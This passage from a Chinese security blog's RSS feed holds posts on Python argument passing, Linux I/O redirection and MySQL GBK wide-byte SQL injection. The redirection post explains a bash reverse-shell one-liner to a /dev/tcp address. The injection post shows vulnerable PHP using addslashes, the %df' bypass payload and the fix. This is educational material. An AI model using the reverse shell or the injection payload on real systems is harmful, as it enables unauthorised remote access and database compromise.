&lt;p&gt;在传统C++中，引用所使用的是栈空间的数据，所以函数内部操作会反映到函数外部，而Python传递的是“标签”。但是因为内外标签指向的是同一对象，如果对象可变并直接改变了对象，那么这种“非赋值”的变化是会反映到函数外部的。&lt;/p&gt;

&lt;h4 id=&quot;参考链接&quot;&gt;参考链接&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://eev.ee/blog/2012/05/23/python-faq-passing/&quot;&gt;英文版：https://eev.ee/blog/2012/05/23/python-faq-passing/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://python-china.org/t/738&quot;&gt;中文版：http://python-china.org/t/738&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/986006/how-do-i-pass-a-variable-by-reference&quot;&gt;http://stackoverflow.com/questions/986006/how-do-i-pass-a-variable-by-reference&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sat, 05 Mar 2016 00:00:00 +0000</pubDate>
        <link>http://imp0wd3r.github.io/2016/03/05/python-pass-variable.html</link>
        <guid isPermaLink="true">http://imp0wd3r.github.io/2016/03/05/python-pass-variable.html</guid>
        
        
      </item>
    
      <item>
        <title>Linux I/O重定向</title>
        <description>&lt;h2 id=&quot;info&quot;&gt;Info&lt;/h2&gt;
&lt;p&gt;Linux中重定向是很有趣的一部分，今天就在这进行一下整理。&lt;/p&gt;

&lt;h3 id=&quot;标准io&quot;&gt;标准I/O&lt;/h3&gt;
&lt;p&gt;Linux中每个进程都有STDIN、STDOUT和STDERR中三种标准I/O，相应的，几乎所有语言都有标准的I/O函数。&lt;/p&gt;

&lt;h3 id=&quot;文件描述符&quot;&gt;文件描述符&lt;/h3&gt;
&lt;p&gt;对于Linux来说，每一个打开的文件都对应着一个文件描述符（File Descriptor， 简称FD）。内核维护一个File descriptor table，该表已FD为索引，指向维护所有进程所打开文件的File table， 该表记录了文件打开的模式，而该表又指向Inode table，也就是实际的文件：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/file_table_and_inode_table.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;当进程需要访问文件时，首先把FD传给内核，内核根据FD在文件描述符表中找到实际指向的文件并进行操作，再将操作完成后的FD传给进程，整个过程进程并不直接操作文件。&lt;/p&gt;

&lt;p&gt;在进程创建时，进程默认拥有0、1和2三个FD，分别指向STDIN、STDOUT和STDERR。&lt;/p&gt;

&lt;h3 id=&quot;重定向&quot;&gt;重定向&lt;/h3&gt;
&lt;p&gt;在Linux中，重定向实际定向的是File descriptor table的指向。进程只关心FD，而并不关心FD所索引的表项所指向的具体文件。&lt;/p&gt;

&lt;h3 id=&quot;bash-redirection&quot;&gt;Bash Redirection&lt;/h3&gt;
&lt;p&gt;bash中使用&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;gt;&lt;/code&gt;等符号来进行重定向，&lt;a href=&quot;http://www.cnblogs.com/zhoug2020/archive/2012/06/26/2563117.html&quot;&gt;基本用法请看这里&lt;/a&gt;，下面以两个例子介绍几个特殊用法以及注意事项：&lt;/p&gt;

&lt;h4 id=&quot;0x00&quot;&gt;0x00&lt;/h4&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bash &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&amp;amp; /dev/tcp/127.0.0.1/8080 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;经典的一句话反弹shell，首先利用&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;gt;&amp;amp;&lt;/code&gt;将bash的STDOUT和STDERR重定向到&lt;code class=&quot;highlighter-rouge&quot;&gt;/dev/tcp/127.0.0.1/8080&lt;/code&gt;这个文件中，这是bash所维护的仅用于重定向中的一个特殊文件，当对此文件进行输入时，如果目标地址可达，则与目标建立socket连接。接着再执行&lt;code class=&quot;highlighter-rouge&quot;&gt;0&amp;gt;&amp;amp;1&lt;/code&gt;，将bash的STDIN重定向到STDOUT的位置，因为此时STDOUT目前被重定向到上述文件中，从而使STDIN也重定向到同一文件，最后攻击方可同时获得bash的输入输出。&lt;/p&gt;

&lt;p&gt;值得注意的有以下几点：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;为何不是&lt;code class=&quot;highlighter-rouge&quot;&gt;0&amp;gt;1&lt;/code&gt;而是&lt;code class=&quot;highlighter-rouge&quot;&gt;0&amp;gt;&amp;amp;1&lt;/code&gt;，因为加上&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;amp;&lt;/code&gt;代表1为FD，不加则为一个文件名&lt;/li&gt;
  &lt;li&gt;重定向执行的顺序很重要，若先执行&lt;code class=&quot;highlighter-rouge&quot;&gt;0&amp;gt;&amp;amp;1&lt;/code&gt;，在&lt;code class=&quot;highlighter-rouge&quot;&gt;... &amp;gt;&amp;amp; ...&lt;/code&gt;后STDIN依旧指向的是之前STDOUT的位置，并没有重定向到连接上。&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;0x01&quot;&gt;0x01&lt;/h4&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;exec &lt;/span&gt;9&amp;lt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;/dev/tcp/127.0.0.1/8080
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;此处打开文件，并利用9作为FD对其进行输入和输出。需要注意的是尽量不要使用大于9的FD进行重定向，有可能跟bash自己拥有的FD冲突。&lt;/p&gt;

</description>
        <pubDate>Wed, 02 Mar 2016 00:00:00 +0000</pubDate>
        <link>http://imp0wd3r.github.io/2016/03/02/linux-redirection.html</link>
        <guid isPermaLink="true">http://imp0wd3r.github.io/2016/03/02/linux-redirection.html</guid>
        
        
      </item>
    
      <item>
        <title>MySQL宽字节注入及相关知识点</title>
        <description>&lt;h2 id=&quot;info&quot;&gt;Info&lt;/h2&gt;

&lt;p&gt;这些天在利用sqli-labs来研究sql注入，发现了很多有趣的东西，今天就在这里记录一下宽字节注入以及相关知识点.&lt;/p&gt;

&lt;h3 id=&quot;宽字节注入&quot;&gt;宽字节注入&lt;/h3&gt;

&lt;p&gt;人类有多种语言，然而计算机的语言只有0和1，所以编码就此诞生.宽字节注入的发生背景就是GBK编码.&lt;/p&gt;

&lt;p&gt;我们的场景很简单:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mysql_query(&quot;SET NAMES 'gbk'&quot;);
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$sql = &quot;SELECT * FROM news WHERE tid='{$id}'&quot;;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;服务端设置连接字符集，将通过addslashes等过滤函数将输入提交到数据库，然而问题在于，过滤函数并不是按照连接字符集来过滤的，所以就导致了以下的现象:&lt;/p&gt;

&lt;p&gt;当用户提交&lt;code class=&quot;highlighter-rouge&quot;&gt;%df'&lt;/code&gt;时，&lt;code class=&quot;highlighter-rouge&quot;&gt;'&lt;/code&gt;因为在addslashes的黑名单内，所以会被过滤为&lt;code class=&quot;highlighter-rouge&quot;&gt;%df\'&lt;/code&gt;，转成ascii码后变成&lt;code class=&quot;highlighter-rouge&quot;&gt;%df%5c%27&lt;/code&gt;.
当数据提交到数据库后，由于设置了GBK为连接字符集，当两个字符中前一个字符的ascii码值大于128时，该编码会把这两个字符视作一个汉字，所以&lt;code class=&quot;highlighter-rouge&quot;&gt;%df%5c&lt;/code&gt;被当做一个汉字，从而使&lt;code class=&quot;highlighter-rouge&quot;&gt;'&lt;/code&gt;逃逸.&lt;/p&gt;

&lt;h3 id=&quot;修复&quot;&gt;修复&lt;/h3&gt;

&lt;p&gt;上面提到了，问题的关键在于过滤函数并没有考虑当前连接的字符集.所以要使用&lt;code class=&quot;highlighter-rouge&quot;&gt;mysql_real_escape_string()&lt;/code&gt;，该函数会考虑当前连接的字符集.&lt;/p&gt;

&lt;p&gt;但是该函数是从&lt;code class=&quot;highlighter-rouge&quot;&gt;mysql-&amp;gt;charset&lt;/code&gt;这个对象属性中获取字符集，我们上面的&lt;code class=&quot;highlighter-rouge&quot;&gt;mysql_query(&quot;SET NAMES 'gbk'&quot;);&lt;/code&gt;并不会达到这种效果，所以要将其改为&lt;code class=&quot;highlighter-rouge&quot;&gt;mysql_set_charset('gbk')，&lt;/code&gt;该函数除了&lt;code class=&quot;highlighter-rouge&quot;&gt;SET NAME 'gbk'&lt;/code&gt;(下面会提到)之外，还会将&lt;code class=&quot;highlighter-rouge&quot;&gt;mysql-&amp;gt;charset&lt;/code&gt;设置为GBK，从而供&lt;code class=&quot;highlighter-rouge&quot;&gt;mysql_real_escape_string()&lt;/code&gt;使用.&lt;/p&gt;

&lt;h3 id=&quot;mysql字符集转换过程&quot;&gt;MySQL字符集转换过程&lt;/h3&gt;

&lt;p&gt;既然说到字符集，就有必要了解一下其运作过程:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;进行内部操作前将请求数据从character_set_connection转换为内部操作字符集，其确定方法如下：&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;使用每个数据字段的CHARACTER SET设定值&lt;/li&gt;
      &lt;li&gt;若上述值不存在，则使用对应数据表的DEFAULT CHARACTERSET设定值(MySQL扩展，非SQL标准)&lt;/li&gt;
      &lt;li&gt;若上述值不存在，则使用对应数据库的DEFAULT CHARACTERSET设定值&lt;/li&gt;
      &lt;li&gt;若上述值不存在，则使用character_set_server设定值&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;将操作结果从内部操作字符集转换为character_set_results&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;我们所执行的&lt;code class=&quot;highlighter-rouge&quot;&gt;SET NAMES&lt;/code&gt;的功能如下:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SET NAMES sets the three session system variables character_set_client， character_set_connection， and character_set_results to the given character set. 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;几点需要注意的问题&quot;&gt;几点需要注意的问题&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;URL encode的过程就是把部分url做为字符，按照某种编码方式（如：utf-8，gbk等）编码成二进制的字节码，然后每个字节用一个包含3个字符的字符串 “%xy” 表示，其中xy为该字节的两位十六进制表示形式&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.csdn.net/yanwushu/article/details/8088260&quot;&gt;GET和POST的URL编码方式&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;POST的格式为&lt;a href=&quot;https://en.wikipedia.org/wiki/Percent-encoding&quot;&gt;application/x-www-form-urlencoded&lt;/a&gt;，在HTML5中不编码的字符有字母，数字和&lt;code class=&quot;highlighter-rouge&quot;&gt;*-_.&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;chrome中GET只会对空格和单引号进行编码&lt;/li&gt;
&lt;/ul&gt;

</description>
        <pubDate>Thu, 29 Oct 2015 00:00:00 +0000</pubDate>
        <link>http://imp0wd3r.github.io/2015/10/29/gbk-sqli.html</link>
        <guid isPermaLink="true">http://imp0wd3r.github.io/2015/10/29/gbk-sqli.html</guid>
        
        
      </item>
    
  </channel>
</rss>
